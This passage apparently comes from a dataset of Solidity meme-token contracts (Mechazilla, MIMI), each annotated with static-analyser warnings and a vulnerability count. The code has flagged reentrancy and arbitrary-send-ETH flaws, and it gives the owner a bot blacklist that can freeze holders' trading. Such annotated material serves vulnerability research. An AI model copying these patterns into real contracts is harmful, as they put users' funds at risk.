amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 5ac6feb): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 5ac6feb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 4d5e07e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 4d5e07e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 5ac6feb\n\t\t// reentrancy-benign | ID: 4d5e07e\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 5ac6feb\n\t\t// reentrancy-benign | ID: 4d5e07e\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 2951472): Mechazilla._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 2951472: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 4d5e07e\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 5ac6feb\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a638edb): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for a638edb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: bfe8f06): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for bfe8f06: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: a638edb\n\t\t\t\t// reentrancy-eth | ID: bfe8f06\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: a638edb\n\t\t\t\t\t// reentrancy-eth | ID: bfe8f06\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: bfe8f06\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: bfe8f06\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: bfe8f06\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: a638edb\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: bfe8f06\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: bfe8f06\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: a638edb\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: a638edb\n\t\t// reentrancy-events | ID: 5ac6feb\n\t\t// reentrancy-benign | ID: 4d5e07e\n\t\t// reentrancy-eth | ID: bfe8f06\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: a638edb\n\t\t// reentrancy-events | ID: 5ac6feb\n\t\t// reentrancy-eth | ID: bfe8f06\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e0fb1cd): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for e0fb1cd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 674a4e9): Mechazilla.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 674a4e9: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 3afc8f5): Mechazilla.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 3afc8f5: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 808dda7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 808dda7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: e0fb1cd\n\t\t// reentrancy-eth | ID: 808dda7\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: e0fb1cd\n\t\t// unused-return | ID: 674a4e9\n\t\t// reentrancy-eth | ID: 808dda7\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: e0fb1cd\n\t\t// unused-return | ID: 3afc8f5\n\t\t// reentrancy-eth | ID: 808dda7\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: e0fb1cd\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 808dda7\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10640.sol",
"size_bytes": 19942,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract MIMI is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: d5324f0): MIMI._taxWallet should be immutable \n\t// Recommendation for d5324f0: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n string private constant _name = unicode\"Toy of Doge\";\n\n string private constant _symbol = unicode\"MIMI\";\n\n\t// WARNING Optimization Issue (constable-states | ID: d9ed454): MIMI._initialBuyTax should be constant \n\t// Recommendation for d9ed454: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: e0cedb8): MIMI._initialSellTax should be constant \n\t// Recommendation for e0cedb8: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: eb7acd6): MIMI._finalBuyTax should be constant \n\t// Recommendation for eb7acd6: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6754037): MIMI._finalSellTax should be constant \n\t// Recommendation for 6754037: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: eabf89c): MIMI._reduceBuyTaxAt should be constant \n\t// Recommendation for eabf89c: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 27;\n\n\t// WARNING Optimization Issue (constable-states | ID: e603755): MIMI._reduceSellTaxAt should be constant \n\t// Recommendation for e603755: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 27;\n\n\t// WARNING Optimization Issue (constable-states | ID: b8f6372): MIMI._preventSwapBefore should be constant \n\t// Recommendation for b8f6372: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 26;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n uint256 public _maxTxAmount = 8413800000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8413800000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 71cf3cf): MIMI._taxSwapThreshold should be constant \n\t// Recommendation for 71cf3cf: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4206900000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7526a5c): MIMI._maxTaxSwap should be constant \n\t// Recommendation for 7526a5c: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4206900000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() payable {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0fc7afe): MIMI.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 0fc7afe: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 379f60b): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 379f60b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a9d343e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a9d343e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 379f60b\n\t\t// reentrancy-benign | ID: a9d343e\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 379f60b\n\t\t// reentrancy-benign | ID: a9d343e\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 38a107b): MIMI._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 38a107b: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 8aa4f4c\n\t\t// reentrancy-benign | ID: a9d343e\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 848e9b5\n\t\t// reentrancy-events | ID: 379f60b\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 9e66d9e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 9e66d9e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: a8d60b5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for a8d60b5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 9e66d9e\n\t\t\t\t// reentrancy-eth | ID: a8d60b5\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 9e66d9e\n\t\t\t\t\t// reentrancy-eth | ID: a8d60b5\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: a8d60b5\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: a8d60b5\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: a8d60b5\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 9e66d9e\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: a8d60b5\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: a8d60b5\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 9e66d9e\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 848e9b5\n\t\t// reentrancy-events | ID: 9e66d9e\n\t\t// reentrancy-events | ID: 379f60b\n\t\t// reentrancy-benign | ID: 8aa4f4c\n\t\t// reentrancy-benign | ID: a9d343e\n\t\t// reentrancy-eth | ID: a8d60b5\n\t\t// reentrancy-eth | ID: 18791d7\n\t\t// reentrancy-eth | ID: f852820\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 1a28031): MIMI.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 1a28031: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 848e9b5\n\t\t// reentrancy-events | ID: 9e66d9e\n\t\t// reentrancy-events | ID: 379f60b\n\t\t// reentrancy-eth | ID: a8d60b5\n\t\t// reentrancy-eth | ID: 18791d7\n\t\t// reentrancy-eth | ID: f852820\n\t\t// arbitrary-send-eth | ID: 1a28031\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 848e9b5): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 848e9b5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 8aa4f4c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 8aa4f4c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: dba84bf): MIMI.Launch() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for dba84bf: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 8ac8240): MIMI.Launch() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 8ac8240: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 18791d7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 18791d7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: f852820): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for f852820: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function Launch() public onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), msg.sender, type(uint256).max);\n\n\t\t// reentrancy-events | ID: 848e9b5\n\t\t// reentrancy-benign | ID: 8aa4f4c\n\t\t// reentrancy-eth | ID: 18791d7\n\t\t// reentrancy-eth | ID: f852820\n transfer(address(this), balanceOf(msg.sender).mul(98).div(100));\n\n\t\t// reentrancy-events | ID: 848e9b5\n\t\t// reentrancy-benign | ID: 8aa4f4c\n\t\t// reentrancy-eth | ID: 18791d7\n\t\t// reentrancy-eth | ID: f852820\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-events | ID: 848e9b5\n\t\t// reentrancy-benign | ID: 8aa4f4c\n _approve(address(this), address(uniswapV2Router), type(uint256).max);\n\n\t\t// unused-return | ID: dba84bf\n\t\t// reentrancy-eth | ID: f852820\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: 8ac8240\n\t\t// reentrancy-eth | ID: f852820\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-eth | ID: f852820\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: f852820\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n",
"file_name": "solidity_code_10641.sol",
"size_bytes": 21291,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20Errors {\n error ERC20InsufficientBalance(\n address sender,\n uint256 balance,\n uint256 needed\n );\n\n error ERC20InvalidSender(address sender);\n\n error ERC20InvalidReceiver(address receiver);\n\n error ERC20InsufficientAllowance(\n address spender,\n uint256 allowance,\n uint256 needed\n );\n\n error ERC20InvalidApprover(address approver);\n\n error ERC20InvalidSpender(address spender);\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n\n function _contextSuffixLength() internal view virtual returns (uint256) {\n return 0;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n error OwnableUnauthorizedAccount(address account);\n\n error OwnableInvalidOwner(address owner);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(address initialOwner) {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(initialOwner);\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n if (owner() != _msgSender()) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n if (newOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = 